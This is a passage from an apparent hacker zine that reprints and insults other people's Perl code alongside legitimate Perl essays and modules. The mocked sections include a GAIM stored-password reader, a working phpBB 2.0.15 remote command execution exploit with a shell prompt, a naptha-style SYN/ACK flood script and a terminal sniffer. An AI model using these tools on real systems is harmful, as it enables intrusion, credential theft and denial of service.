points. my( $v1, $v2 ) = @_; my $dx = abs( $v1->[X] ) - abs( $v2->[X] ); my $dy = abs( $v1->[Y] ) - abs( $v2->[Y] ); return sqrt( $dx**2 + $dy**2 ); } ## Simple scoring. of individual sets ## Sum of distances of locations from rep location. sub score { my( $set ) = @_; return sum map { pythagoras( $set->[ 0 ], $_ ); } @{ $set->[ 1 ] } } my @reps = map { [ int rand rand $GRID[X], int rand $GRID[Y] ] } 1 .. $REPN; my @locations = map { [ int rand $GRID[X], int rand $GRID[Y] ] } 1 .. $LOCN; my @sets = map { [ $_, [ pop @locations ] ] } @reps; push @{ $sets[ rand @sets ][1] }, pop @locations while @locations; show( \@sets, 1 ); ; my( $tries, $c ) = ( 0, 's' ); my $best = [ 9e99, [], 9 ]; my $evolution = 0; my( %scores, %best ); my( $delay, $display, $stop ) = ( -1, 1, 0 ); ReadMode 2; while( 1 ) { ## Caclulate the total score for the current sets. ## Sum of individual totals. my $totalScore = sum map { $_->[SCORE] = score $_ } @sets; ## Records frequencies of (integerised) solutions found $scores{ int $totalScore }++; ## Keep track of iterations $tries++; ## Commands to monitor progress and quit. $c = ReadKey( $delay )||''; $stop = 1 if $c eq 'q'; ## Quit $delay += 1 if $c eq 's'; ## speed (0=pause) (n>0 sleep n) $delay = -1 if $c eq 'c'; ## Continue fullspeed $display = !$display if $c eq 'd'; ## Toggle display if( $best->[ 0 ] > $totalScore ) { ## If we found a better solution $best = [ $totalScore, clone( \@sets ), $tries ]; ## save it $evolution = $EVO;## but allow bad solution to evolve for a while ## Keep a record of when we found improvements ## to allow estimates of "good enough" iterations; $best{ $tries } = $totalScore; } elsif( $stop or not --$evolution ) { ## if no better evolution after $EVO attempts @sets = @{ $best->[1] }; ## Restore the best yet and try again print 'Best restored'; Win32::Sleep 1000; } last if $stop; ## stop here after ensuring the best is restored. ## Sort them by individual scores @sets = sort{ $a->[SCORE] <=> $b->[SCORE] } @sets; ## Display them show \@sets, 1 if $display; printf "%06d (%06d) %g %g\n", $tries, $best->[ 2 ], $best->[ 0 ], $totalScore; ## If the worst set has more than 1, given one to the best push @{ $sets[ 0 ][LOCNS] }, shift @{ $sets[ -1 ][LOCNS] } if @{ $sets[ -1 ][LOCNS] } > 1; ## pick two set/location pairs at random my( $a, $b ) = map{ int rand @sets } 1 .. 2; my( $sa, $sb ) = ( int rand $#{ $sets[ $a ][LOCNS] }, int rand $#{ $sets[ $b ][LOCNS] } ); ## and swap them my $temp = $sets[ $a ][LOCNS][ $sa ]||die "A:$a:$sa"; $sets[ $a ][LOCNS][ $sa ] = $sets[ $b ][LOCNS][ $sb ]||die "B:$b:$sb"; $sets[ $b ][LOCNS][ $sb ] = $temp; } show \@sets; ## display best solution printf "Total: %d after %d tries\n", $best->[ 0 ], $best->[ 2 ]; printf 'Enter to see a frequendy plot of the solutions found'; ; print "$_ => $scores{ $_ }" for sort{ $a <=> $b } keys %scores; printf 'Enter to see record of best discovery points.'; ; print "Best score: $best{ $_ } after $_ iterations." for sort{ $a <=> $b } keys %best; -[0x09] # He wants mercy ------------------------------------------------- # mercy this the best perl you got? my @file_list = `find / -name accounts.xml 2> /dev/null`; my @lines; print STDOUT "=======================================\n"; print STDOUT "| GAIM Password reader v1.0.1.0.1 |\n"; print STDOUT "=======================================\n\n"; # Cause you just have to specify STDOUT foreach my $file (@file_list) { open(OF, "<$file"); @lines = ; chomp(@lines); # Stupid open(), lame read # Never head of while (<$FILEHANDLE>) { have you? # I thought you knew shit about coding/algorithms/structure # I expect more from you foreach $string (@lines) { if($string =~ /.*<\/name>/) # yeehaw, its a greedy dotstar { $string =~ s/<.?name>//gi; # BAD print STDOUT "NAME -\t$string\n"; # BAD } if ($string =~ /.*<\/password>/) # BAD { $string =~ s/<.?password>//gi; #BAD print STDOUT "PASS -\t$string\n\n"; #BAD } } } # the only parts that don't suck are your brackets, good to see you can do that right... -[0x0A] # School You: japhy ---------------------------------------------- 7 Stages of a Regex User Novice thinks regular expressions are line noise falls prey to "m/usr/bin/" (embedded /'s in m//) has no idea what tr/// is doesn't know about the i modifier gratuitous use of $`, $&, and $' doesn't use \w, \d, \s, etc. metaclasses painfully misuses * and .* puts words in character classes Initiate still a victim of leaning toothpick syndrome (LTS) uses regexes where chop() or substr() or index() would do tries to use tr/// like s/// uses brackets in tr/// uses modifiers needlessly (like o, s, and m) does ($x,$y) = ($1,$2), instead of ($x,$y) = /(re)g(ex)/ uses | in character classes for alternation uses [^\w] instead of \W tries to delete HTML tags with s/<.*>//g or s/<.*?>//g backslashes needlessly User uses different m// and s/// delimiters uses regex where index() would do knows about tr///, but uses s/// instead uses regexes in conditionals knows to use the o modifier, but sometimes gets bitten uses backreferences incorrectly sometimes (\1 on the RHS of s///) starts to understand why HTML tags are hard to match with regexes Adept knows when to use regexes, and when to use string functions knows when to use tr///, and when to use s/// leaves the m off // regexes uses the e modifier in s/// toys with look-ahead knows to use (?:...) when a backref isn't needed uses precompiled regexes with qr// Hacker uses look-ahead and look-behind with impunity sighs at the constant-width restraint on look-behind plays with pos() and \G and the g and c modifiers has read "Mastering Regular Expressions" knows how to "unroll the loop" uses re -- and understands the debug output uses closures to make regex matching objects makes nested regexes using (??{...}) can read a regex and explain its function Guru works on the regex engine has patched the engine from time to time uses precompiled regexes as objects refers to "Henry" (that is, Henry Spencer) can explain how any given regex will or won't work Wizard can add features to the engine at a whim has pumpking status -[0x0B] # DSR *clap clap* ------------------------------------------------ # So I thought to myself, which lame DSR Perl script should I make fun of? # I decided to be nice, and go for the smallest. It's easy and its the best of them # Just cause I almost like you guys use strict; use IO::Socket; unless ($ARGV[0]) { print "$0 \n"; exit(1); } $ARGV[0] =~ m!http://(.*?)/(.*?t=\d+)!; my ($server, $port) = split (/:/,$1); $port = 80 unless defined($port); $server = $1 unless defined($server); # Get that defined out of there my ($url, $command) = $2; # Woops should that be there? Lame print "$server - $port - $url\n"; while () { print "phpBB2.0.15> "; while() { $command=$_; chomp($command); last; } # Because there's *no* better way to do that... &send($command); # lose the ampersand, fuckface } sub send { my $ok=0; my $cmd= "echo \"#PHPBBEXPLOIT#\";".$_[0].";echo \"#PHPBBEXPLOIT#\""; my $string = "GET /$url&highlight='.system(getenv(HTTP_PHP)).' HTTP/1.1\n". "Host: $server\nPHP: $cmd\n\n\n\n"; my $socket = IO::Socket::INET->new(PeerAddr => $server, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM) or die "can't connect to: $server : $@\n"; print $socket $string; while(<$socket>) { if (/#PHPBBEXPLOIT#/) { close($socket) and last if $ok eq 2; $ok++; next; } # hahaha print if $ok eq "1"; # How about == and lose the quotes } } exit 0; -[0x0C] # School You: tachyon -------------------------------------------- # And you thought Perl was just for quick hacks? # I've cut out the POD, I APOLOGIZE package File::Seek; use strict; # use warnings; # you can use warnings if you have 5.6+ use Time::Local; require Exporter; use vars qw( @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION $VERSION ); @ISA = qw( Exporter ); @EXPORT = (); @EXPORT_OK = qw( alphabetic numeric find_time get_between get_last ); %EXPORT_TAGS = ( 'all' => \@EXPORT_OK ); $VERSION = '0.01'; my ($count, $exact_match ); my $debug = 0; # set true to watch progression of algorithm my $max_tries = 42; my $descending = 0; my $cuddle = 0; my $line_length = 80; my $error_msg = ''; my $stationary = 0; my $silent = 0; my $NAME = 'File::Seek'; my $EMAIL = 'jfreeman@tassie.net.au'; my %months = ( Jan => 0, Feb => 1, Mar => 2, Apr => 3, May => 4, Jun => 5, Jul => 6, Aug => 7, Sep => 8, Oct => 9, Nov => 10, Dec => 12); my $default_rec_sep = ($^O =~ m/win32|vms/i) ? "\015\012" : ( $^O =~ /mac/i ) ? "\015" : "\012"; # some subs to set optional vars OO style sub set_cuddle { $cuddle = 1 }; sub set_no_cuddle { $cuddle = 0 }; sub set_descending { $descending = 1 }; sub set_ascending { $descending = 0 }; sub set_max_tries { $max_tries = shift || 42 }; sub set_line_length { $line_length = shift || 80; $line_length = 80 unless $line_length >= 1 }; sub set_silent { $silent = 1 }; sub set_verbose { $silent = 0 }; sub set_debug { $debug = 1 }; sub no_debug { $debug = 0 }; sub was_exact { $exact_match }; sub error { $error_msg; }; # basic line munge (just chomp it) sub basic_munge { local $_ = shift || return undef; chomp; return $_ }; sub alphabetic { local *FILE = shift; my $string = shift; my $munge_ref = shift || \&basic_munge; $error_msg = ''; $stationary = 0; _find( *FILE, $string, $munge_ref, \&_test_alphabetic ); } sub numeric { local *FILE = shift; my $number = shift; my $munge_ref = shift || \&basic_munge; $error_msg = ''; $stationary = 0; _find( *FILE, $number, $munge_ref, \&_test_numeric ); } sub find_time { local *FILE = shift; my $find = shift; my $not_gmtime = shift; $error_msg = ''; $stationary = 0; my $munge_ref = \&get_epoch_seconds; my $epoch = get_epoch_seconds( $find ); # if $epoch is defined we assume a date string else real epoch secs $find = (defined $epoch) ? $epoch : $find; _find( *FILE, $find, $munge_ref, \&_test_numeric ); } sub get_epoch_seconds { my $line = shift; return undef unless defined $line; # grab a scalar localtime looking like string from the line my ($wday,$mon,$mday,$hours,$min,$sec,$year) = $line =~ m/(\w\w\w)\s+(\w\w\w)\s+(\d{1,2})\s+(\d\d):(\d\d):(\d\d)\s+(\d{4})/; unless ($year) { $error_msg = "Unable to find time like string in line:\n$line"; warn $error_msg unless $silent; return undef; } $mon = $months{$mon}; # convert to numerical months 0 - 11 return timegm($sec,$min,$hours,$mday,$mon,$year); } sub get_between { local *FILE = shift; my $begin = shift || 0; my $finish = shift || 0; my $rec_sep = shift || $default_rec_sep; $error_msg = ''; binmode FILE; ($begin , $finish) = ($finish, $begin) if $begin > $finish; my $bytes = $finish - $begin; seek FILE, $begin, 0; my $read = read (FILE, my $buffer, $bytes); if ( $read < $bytes ) { $error_msg = "Short read $NAME\nWanted: $bytes Got: $read\n"; warn $error_msg unless $silent; return undef; } $buffer = substr $buffer, 0, $bytes; my @lines = split $rec_sep, $buffer; return wantarray ? @lines : [ @lines ]; } sub get_last { local *FILE = shift; my $num_lines = shift; my $rec_sep = shift || $default_rec_sep; $error_msg = ''; binmode FILE; my $file_size = -s FILE; my $read = $line_length * $num_lines; my @file; GET: { $read = $read << 1; # double our estimate my $position = $file_size - $read; if ($position < 0 ) { seek FILE, 0, 0; $read = read ( FILE, my $buffer, $file_size ); @file = split "$rec_sep", $buffer; chomp (@file); if ( $num_lines > @file ) { $error_msg = "$NAME Wanted $num_lines lines but file only "; $error_msg .= "contains" . @file . " lines. Whole file returned\n"; warn $error_msg unless $silent; return wantarray ? @file : [ @file ]; } splice @file, 0, (scalar @file - $num_lines); ; return wantarray ? @file : \@file; } else { seek FILE, $position, 0; $read = read ( FILE, my $buffer, $read ); my $count_lines = $buffer; my $line_count = $count_lines =~ s/$rec_sep//og; my $average_line_length = ($line_count) ? ( $read / $line_count ) : $read; if ($average_line_length > $line_length ) { $line_length = $average_line_length; $read = $num_lines * $average_line_length; } redo GET unless $num_lines < $line_count; # first line will be a partial @file = split "$rec_sep", $buffer; } splice @file, 0, (scalar @file - $num_lines); ; return wantarray ? @file : \@file; } } # this is the main routine that implements the halve the difference search sub _find{ my ( $partial, $line, $next ); local *FILE = shift; my $find = shift; my $munge_ref = shift; my $comp_type = shift; my $file_size = -s FILE; my $top = 0; my $bottom = $file_size; $exact_match = 0; $count = 0; # first line is an edge case, so we test it now seek FILE, 0, 0; $line = &$munge_ref( scalar ); $next = &$munge_ref( scalar ); unless (defined $line and defined $next) { $error_msg = "$NAME Unable to munge valid data from first or second lines\n"; warn $error_msg unless $silent; return undef; } my $ans = &$comp_type($find, $line, $next); if ( $ans == 0 or ($descending and $ans == 1) or (not $descending and $ans == -1) ) { seek FILE, 0, 0; my $gobble = if $exact_match == 2; return tell FILE; } # start the halve the difference loop, we count iterations and # will abort the loop if we exceed the specified $max_tries while ( ++$count ) { my $middle = int(($top+$bottom)/2); seek FILE, $middle , 0; $partial = ; $line = &$munge_ref( scalar ); $next = &$munge_ref( scalar ); $ans = &$comp_type($find, $line, $next); print "A:'$ans' C:'$count' T:'$top' B:'$bottom' Find:'$find' L:'$line' N:'$next'\n" if $debug; unless (defined $ans) { $error_msg = "\n\n\nArk, $NAME got to EOF\n"; $error_msg .= &_debug($find, $line, $next, $file_size, $top, $bottom, $descending); warn $error_msg unless $silent; return undef; } if ( $ans ) { if ( $descending ) { ( $ans == 1 ) ? $bottom = $middle : $top = $middle; } else { ( $ans == 1 ) ? $top = $middle : $bottom = $middle; } } else { seek FILE, $middle, 0; my $partial = ; if ($exact_match) { my $gobble = if $exact_match == 2; } else { my $gobble = unless $cuddle; } my $pos = tell FILE; # end of file is an edge case return ( $pos < $file_size ) ? $pos : undef; } if ( $count >= $max_tries ) { $error_msg = "\n\n\nArk, $NAME baling out of infinite loop after $max_tries tries\n"; $error_msg .= &_debug($find, $line, $next, $file_size, $top, $bottom, $descending); warn $error_msg unless $silent; return undef; } } } # numeric test routine { my $last_line = 0; my $last_next = 0; sub _test_numeric { my ($find, $line, $next) = @_; # EOF if $line is not defined return undef unless defined $line; # check for movement - if repeatedly none we have reached EOF. if ($line eq $last_line and defined $next and defined $last_next and $next eq $last_next) { $stationary++; if ($stationary > 2) { $stationary = 0; return undef; } } ($last_line, $last_next) = ($line, $next); # check for an exact match $exact_match = 2 if defined $next and $find == $next; $exact_match = 1 if $find == $line; # line must be defined return 0 if $exact_match; # check for between-ness depending on sort order return 0 if !$descending and defined $next and $line < $find and $find < $next; return 0 if $descending and defined $next and $line > $find and $find > $next; # otherwise indicate which way to jump return +1 if $line < $find; return -1 if $line > $find; } } # alphabetic test routine { my $last_line = ''; my $last_next = ''; sub _test_alphabetic { my ($find, $line, $next) = @_; return undef unless defined $line; # check for movement - if repeatedly none we have reached EOF. if ($line eq $last_line and defined $next and defined $last_next and $next eq $last_next) { $stationary++; if ($stationary > 2) { $stationary = 0; return undef; } } ($last_line, $last_next) = ($line, $next); # check for an exact match $exact_match = 2 if defined $next and $find eq $next; $exact_match = 1 if $find eq $line; return 0 if $exact_match; # check for between-ness depending on sort order return 0 if !$descending and defined $next and $line lt $find and $find lt $next; return 0 if $descending and defined $next and $line gt $find and $find gt $next; # otherwise indicate which way to jump return +1 if $line lt $find; return -1 if $line gt $find; } } sub _debug { my ($find, $line, $next, $file_size, $top, $bottom, $mode) = @_; $line = 'undef' unless defined $line; $next = 'undef' unless defined $next; $line = sprintf "0x%x", ord $line unless $line; $next = sprintf "0x%x", ord $next unless $next; $mode = ($mode)? "Descending" : "Ascending"; my $message = "Failed to find: '$find'\n"; $message .= "The search mode for the file was '$mode order'\n"; $message .= "\$line:\t$line\n"; $message .= "\$next:\t$next\n"; $message .= sprintf "File size: %12d Bytes\n", $file_size; $message .= sprintf "\$top: %12d Bytes\n", $top; $message .= sprintf "\$bottom: %12d Bytes\n", $bottom; $message .= "Perhaps try reversing the search mode\n"; $message .= "Are you using the correct method - alhpabetic or numeric?\n\n"; $message .= "If you think it is a bug please send a bug report to:\n"; $message .= "$EMAIL\n"; $message .= "A sample of the file, the call to this module and\n"; $message .= "this error message will help to fix the problem\n"; return $message; } "tachyon"; __END__ -[0x0D] # Reads like Roadkill -------------------------------------------- # I chose this because its the newest code you had use Net::RawIP qw(:pcap); use Socket; $daddr=$ARGV[0]; $dport=$ARGV[1]; # shift motherfuckers, shift if($#ARGV != 1){ &usage(); } # nice form...not $dev=rdev($daddr); $saddr=${ifaddrlist()}{$dev}; $rule="tcp and src host $daddr and src port $dport"; $sendpacket = new Net::RawIP; $recvpacket = new Net::RawIP; $pcap=$recvpacket->pcapinit($dev,$rule,1500,30); $offset=linkoffset($pcap); srand(); $startport=6666+int(rand(60000)); for($sport=$startport; $sport<($startport+5000); $sport++){ # we have this whole range operator thing. check it out $sendpacket->set({ ip=>{ saddr=>$saddr, daddr=>$daddr, }, tcp=>{ source=>$sport, dest=>$dport, seq=>'-1184816751', ack_seq=>'0', urg=>'0', ack=>'0', psh=>'0', rst=>'0', syn=>'1', fin=>'0', } }); $sendpacket->send(); loop $pcap,1,\&sniffsynack,\@a; # oh thats hot } sub usage { print "Usage: \$ perl naptha-like.pl ip port\n"; exit; } sub sniffsynack { # oh yes, use all those vars, we need them ALL $recvpacket->bset(substr($_[2],$offset)); my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr, $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg, $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) = $recvpacket->get({ ip=>['version','ihl','tos','tot_len','id','frag_off', 'ttl','protocol','check','saddr','daddr'], tcp=>[ 'source','dest','seq','ack_seq','doff','res1', 'res2','urg','ack','psh','rst','syn','fin', 'window','check','data'] }); if ($pro=~/\S/) { $saddr=inet_ntoa(pack("N",$saddr)); $daddr=inet_ntoa(pack("N",$daddr)); $seq++; $sendpacket->set({ ip=>{ saddr=>$daddr, daddr=>$saddr, }, tcp=>{ source=>$dport, dest=>$sport, seq=>$aseq, ack_seq=>$seq, urg=>'0', ack=>'1', psh=>'0', rst=>'0', syn=>'0', fin=>'0', } }); $sendpacket->send(); } } -[0x0E] # School You: merlyn --------------------------------------------- As I type this month's column, we're just pulling away from Ocho Rios, Jamaica, on the latest Geek Cruise (www.geekcruises.com) called ``Linux Lunacy 2''. Earlier today, some of the speakers on this conference/cruise, including Linus Torvalds and Eric Raymond, held a meeting with the Jamaican Linux Users Group. We're out at sea, en-route to Holland America's private island, ``Half Moon Cay'', so I'm using the satellite link to upload and review this column (for a mere 30 cents a minute). Earlier this week Eric Raymond gave one of his many visionary presentations. This one in particular mentioned Perl for a section on ``What Perl Got Right''. The message surprised me, because Eric prefers that other popular ``P'' language over Perl for his personal and professional work. The one thing that Eric says that Perl got right is one of the many things that I think Perl got right: Perl's easy access to low-level operating system functionality. Let's take a look at what this means. Perl gives you unlink() and rename() to remove and rename files. These calls pass nearly directly to the underlying ``section 2'' Unix system calls, without hiding the call behind a confusing abstraction layer. In fact, the name ``unlink'' is a direct reflection of that. Many beginners look for a ``file delete'' operation, without stumbling across ``unlink'' because of its peculiar name. But the matchup doesn't stop there. Perl's file and directory operations include such entries as chdir(), chmod(), chown(), chroot(), fcntl(), ioctl(), link(), mkdir(), readlink(), rmdir(), stat(), symlink(), umask(), and utime(). All of these are mapped nearly directly to the corresponding system call. This means that file-manipulating programs don't have to call out to a shell just to perform the heavy lifting. And if you want process control, Perl gives you alarm(), exec(), fork(), get/setpgrp(), getppid(), get/setpriority(), kill(), pipe(), sleep(), wait(), and waitpid(). With fork and pipe, you can create any feasible piping configuration, again not limited to a particular process abstraction provided by a more limited scripting language. And you can manage and modify those processes directly as well. Let's not forget those socket functions, like accept(), bind(), connect(), getpeername(), getsockname(), get/setsockopt(), listen(), recv(), send(), shutdown(), socket(), and socketpair(). Although most people usually end up using the higher level modules that wrap around these calls (like LWP or Net::SMTP), they in turn can call these operations to set up the interprocess communication. And if a protocol isn't provided by a readily accessible library, you can get down near the metal and tweak to your heart's content. Speaking of interprocess communication, you've also got the ``System V'' interprocess communications, like msgctl(), msgget(), msgrcv(), msgsnd(), semctl(), semget(), semop(), shmctl(), shmget(), shmread() and shmwrite(). Again, each of these calls maps nearly directly to the underlying system call, making existing C-based literature a ready source of examples and explanation, rather than providing a higher-level abstraction layer. Then again, if you don't want to deal with the low-level interfaces, common CPAN modules hide away the details if you wish. And then there's the user and group info (getpwuid() and friends), network info (like gethostbyname()). Even opening a file can be modified using all of the flags directly available to the open system call, like O_NONBLOCK, O_CREAT or O_EXCL. Hopefully, you can see from these lists that Perl provides a rich set of interfaces to low-level operating system details. Why is this ``what Perl got right''? It means that while Perl provides a decent high-level language for text wrangling and object-oriented programming, we can still get ``down in the dirt'' to precisely control, create, modify, manage, and maintain our systems and data. For example, if our application requires a ``write to temp file, then close and rename atomically'' to keep other applications from seeing a partially written file, we can spell it out as if we were in a systems implementation language like C: open TMP, ">ourfile.$$" or die "..."; print TMP @our_new_data; close TMP; chmod 0444, "ourfile.$$" or die "..."; rename "ourfile.$$", "ourfile" or die "..."; By keeping the system call names the same (or similar), we can leverage off existing examples, documentation, and knowledge. In a scripting language without these low-level operations, we're forced to accept a world as presented by the language designer, not the world in which we live as a practicality. Eric Raymond gave as examples an old LISP system which provided many layers of abstraction (sometimes buggy) before you got to actual file input/output system calls, and the classic Smalltalk image, which provides a world unto itself, but very few hooks out into the real world. As a modern example, Java seems to be somewhat painful about ``real world'' connections, preferring instead to have its users implement the ideal world for it rather than it adapting to its world. And in this, I agree. I've personally written probably a thousand system admin utilities over the 13 years that I've been playing with Perl, and many of those involved those mundane tasks of opening a file precisely the way I wanted, moving it around, and watching processes and files to make sure they weren't getting out of hand. It may not be sexy, but it's where the work actually is -- where the work gets done. So while I encourage everyone to rush out and play with Squeak Smalltalk (www.squeak.org) to learn real object-oriented programming, at the end of the day it's still gonna be Perl (OO or not) that monitors my website and pages me when the system goes down. One interesting side-effect of Perl having so many low-level functions is that it forced those who ported Perl from Unix to other operating systems to think about how to perform those functions portably. Thus, the ``Unix API'' provides a ``virtual'' operating system interface for Perl programmers, regardless of the platform. And since I'm familiar with Unix, I can actually code up portable Perl programs that run on MacOS and Windows and VMS without having to be very smart on their oddities, or relearn a different API, even for apparently low-level operations. I remember squealing with delight when a program I had written for Unix that dealt with forking and sockets ran without any code changes on a Windows box at a customer site. I actually had not expected it to work, especially not as-is. But what if something in section 2 of my Unix manual isn't supported directly by Perl? Well, on those platforms that support it, the syscall() interface provides a nifty escape hatch. Given the right parameters, the syscall function can call nearly any single-value-return system call. For example, suppose the rename() function weren't provided directly by Perl. We could simply look it up in /usr/include/sys/syscall.h, apply the proper parameters as indicated by the rename(2) page, and we're up and running anyway. The code might look something like this: sub my_rename { my $from = shift; my $to = shift; $! = 0; syscall(128, $from, $to); return ! $!; } my_rename("fred", "barney") or die "Cannot rename: $!"; The magic ``128'' came from hunting around in my /usr/include directory until I could find the system call number of rename. That's the highly non-portable part of this operation, so your mileage and number will vary. Once we have that number, we can issue a syscall. The value of $! is set to 0 before the call, and checked for a non-zero value after the call. If the operator returned anything of interest, we could also check that at the call itself. If the call fails, the normal die with $! in the text string gives us a reasonable error message. So, if syscall works, we can wrap anything in Unix manual section 2 that isn't already provided, all without leaving Perl. But what if syscall didn't work? Well, even all the way back to Perl version 4, we had a documented way of ``extending'' a Perl interpreter using the C-level Perl interfaces. And it all got nicely easier with the release of Perl version 5, using the XS interface. With XS, we can write dynamically loaded object code for our low-level interface (or statically linked on some of the more limited systems), and then use it at will. But this XS interface was still a stumbling block for many people. Many consider it arcane, requiring too many knowledge steps to be useful. So, thankfully, last year Brian Ingerson (``ingy'') came along and wrote the beginnings of the Inline architecture. In particular, Inline::C allows me to define arbitrary subroutines in C, and they simply appear as callable Perl subroutines. Behind the scenes, an MD5-hash of the C code is created, and used to maintain a cache of to-be-compiled or pre-compiled loadable object files. At this point, renaming a file would be as simple as copying the syntax nearly directly from the example of the rename(2) manpage: use Inline C => <<'END'; #include int my_rename(char *from, char *to) { return rename(from, to) >= 0; /* -1 is bad, 0 is good */ } END my_rename("fred", "barney") or die "Cannot rename fred to barney: $!"; Here I'm providing the definition for my_rename as a C function. The arguments are specified exactly as they would be in a C program, and the rename system call gets called in the middle, massaging the return value slightly. The Inline structure creates the proper glue to hook the snippet into the Perl-to-C code, and arranges for the C compiler to process that code. The results are cached: the first time this program is run, it takes about a second or so, but every invocation following that is lightning fast. So, as you can see, Perl can easily get ``down to C level'' (just like this cruise ship I'm on). And Eric Raymond says this is the one thing that Perl got right. I tend to think it's a bit more than that. By the way, if you want to hack Perl with experts, be sure to check out the upcoming Perl Geek Cruise on the web site. I'll be there, coding on the high seas. Until next time, enjoy! -[0x0F] # r0t0r can't get a break ---------------------------------------- use Getopt::Std; use strict; use vars qw/ %opt /; # When I see something like that I check to see how old the code is # But nope, that's just you sucking! my $opt_string = 'hstl'; getopts("$opt_string", \%opt ) or usage(); usage() if $opt{h}; logon() if $opt{l}; sniffs() if $opt{s}; sub logon { bann() open(LOG, ">>$opt{l}") || or die "Cant Create $opt{l}\n"; # mmm overwrite my $term = `cat /dev/$opt{t}`; my $date = `date`; my $host = `hostname`; # not like Perl has shit for that eh? print LOGFILE "Sniffing $opt{t} on $date @ $host\n"; print LOGFILE "$term"; # mmm quotage } sub sniffs { my $term = `cat /dev/$opt{t}`; my $date = `date`; my $host = `hostname`; print "Sniffing $opt{t} on $date @ $host\n"; print "$term"; # oh look its code repeat } sub bann { print("\ntsniff (C) rotor 2005 - 2006 - rotor\@killerz.org\n"); print("http://www.killerz.org - http://www.hacktheb0x.tk\n"); print("Starting tsniff on $opt{t}\n"); } sub usage { print("Usage: ./$0 [-hst] [-l file]\n"); print("-h : print this message\n"); print("-t : terminal they are on\n"); print("-s : sniff to screen\n"); print("-l : log sniffer\n"); } -[0x10] # Ch4r's contribution to Perl ------------------------------------ # This is the kind of lame tutorial that noobs find # I get tired of looking at bad code and having it explained with # "but I saw it in a tut" # No way I'm going through this to point out problems. # Just read and laugh | Copy Info | This tutorial may be redistributed as long as it remains completely unchanged and full credit is given to me, Ch4r/Niels. # You can take your credit (I wouldn't want it!), but I'll cut out the # first half of your lame tut, mkay? # What motivates people to write shit about something they don't # understand? # And then release it, complete with 'Copy Info' # PRIDE So far we've seen two conditional control structures, if and if-else. There is, however, another widely used type of control structure that is used as a method of repitition - a loop. The first type of loop covered here is the while loop. This loop is given a test, similar to the if control structure, and while the test is true it continues to execute the block of code enclosed in braces. Here's an example: ----- $i = 0; while ($i <= 10) { print "$i is not more than 10\n"; $i = $i + 1; } ----- This loop prints the following to standard output: 0 is not more than 10 1 is not more than 10 2 is not more than 10 3 is not more than 10 4 is not more than 10 5 is not more than 10 6 is not more than 10 7 is not more than 10 8 is not more than 10 9 is not more than 10 10 is not more than 10 How does this work? The while loop is given a condition -- $i <= 10. $i is set to 0 and zero is less than or equal to ten, so the body of loop is executed. The body of the loop consists of a print statement, and then assigns the variable $i a value of itself plus one. $i is now 1. As one is less than or equal to ten, the process repeats. This continues until the final iteration of the loop, when $i is 10. Ten is less than or equal to ten, so the block is again executed. Now $i is again assigned the value of itself plus one, which equals 11. As eleven is not less than or equal to ten, the body of the while loop is not executed and execution of the script continues past the while loop. Note that Perl offers us a couple of commonly used shortcuts to rewrite the expression "$i = $i + 1". The first of these allows us to replace "$i = $i + n" with "$i += n" (where n is a number). This is not simply limited to adding a given amount to a variable though -- the same notation can be implemented for subtracting, multiplying, or dividing. The following chart lists some expressions that can be rewritten with this shorter notation, and then shows the equivalent using Perl's +=/-=/*=//= shortcut. Expression Shorter Equivalent $i = $i + 17 $i += 17 $j = $j * 12 $j *= 12 $a = $a / 27 $a /= 27 $k = $k + 3 $k += 3 $v = $v - 7 $v -= 7 Perl also offers a second shortcut that is used to add one or subtract one from a specific variable. The syntax for this shortcut is simply: $variable++; #increments $variable $variable--; #decrements $variable Thus, we could rewrite the while loop used previous with "$i++" instead of "$i = $i + 1" and achieve the same result: ----- $i = 0; while ($i <= 10) { print "$i is not more than 10\n"; $i++; #we could also use $i += 1 } ----- The for/foreach loop is a bit trickier to understand than the while loop. The following is the same as our previous while loop that prints "$i is not more than 10\n" and then adds one to $i, but it is implemented with a for loop instead: ----- for ($i = 0; $i <= 10; $i++) { print "$i is not more than 10\n"; } ----- The most confusing area is the line directly after the keyword "for", which in the while, if, and if/else control structures held a value that needed to return true for the body of the structure to be executed. In the for (and foreach, as we'll discuss in a moment) control structure, this area is broken down into three sections which are separated by semicolons. The first section is where the counter variable is assigned a value. As the for loop is used primarily to repeat something a specific number of times, it usually uses a variable to keep track of how many times the body of the loop has been executed. In the while loop, we executed the body of the loop 11 times (0 -- 10) and used the $i variable to keep track of how many times we had iterated (gone through) the loop. The variable used for this purpose is referred to as the counter, as it counts the number of times we have iterated through the loop. In this case, the counter is $i and here it is assigned a value of 0: for ($i = 0; $i <= 10; $i++) { The second section of the above line, which begins immediately after the first semicolon and is terminated with the second semicolon, supplies the condition that must be met for the body of the loop to be executed. In this case, the variable $i must be less than or equal to ten ($i <= 10) for another iteration of the loop to take place. The last of the three sections between the parentheses, which begins directly after the second (and final) semicolon, is the action that must be performed on the counter variable at the end of each iteration of the loop. In this case, 1 is added to the current value of $i ($i++). Note that the variables used in the three different sections of the first line do not have to be the same; we could have used completely different variables such as: for ($i = 0; $j <= 10; $k++) However, this doesn't make much sense and defeats the purpose of the for loop, which is to have a cleaner and more organized way of iterating through a loop a specific number of times. Also note that the foreach loop works exactly the same way as the for loop. The following accomplishes the same thing as the for and while loops we used before: ----- foreach($i = 0; $i <= 10; $i++) { print "$i is not more than 10\n"; } ----- There are alternate uses for the for/foreach loop and we will cover them in upcoming sections. Note that these are not the only control structures that Perl provides. You may also hear about or see the until and unless control structures. The until control structure is the exact opposite of a while loop: it executes its body as long as the condition it is given is false. The unless control structure is the opposite of the if control structure: it executes its body if the condition it is given is false. Finally, we'll also cover the if/elsif/else control structure later in this tutorial. | Arrays | We discussed scalar variables earlier -- scalar variables were one variable assigned one value. Now we'll discuss arrays, which are one variable assigned multiple values. Arrays will prove quite useful for organizing data, and although the idea of one variable with several values may sound like a confusing idea as well as one that isn't necessary, you'll soon see that it is actually quite easy to understand and quite useful. Following is a diagram that charts scalar variables and array variables, and how they are organized: Scalar: $variable -> "value" name -> value Array: @array -> "value 1" 27 "another value" 34565 name -> 0 1 2 3 The first diagram shows the anatomy of a scalar variable. A variable, in this case one named $variable, is assigned a value, in this case the string "value". Simple enough; we've been doing that since almost the beginning of this tutorial. The second diagram shows the anatomy of an array. A variable, in this case one named @array, is assigned multiple values, in this case "value 1", 27, "another value", and 34565. If you take a look at the bottom row, you'll notice that each 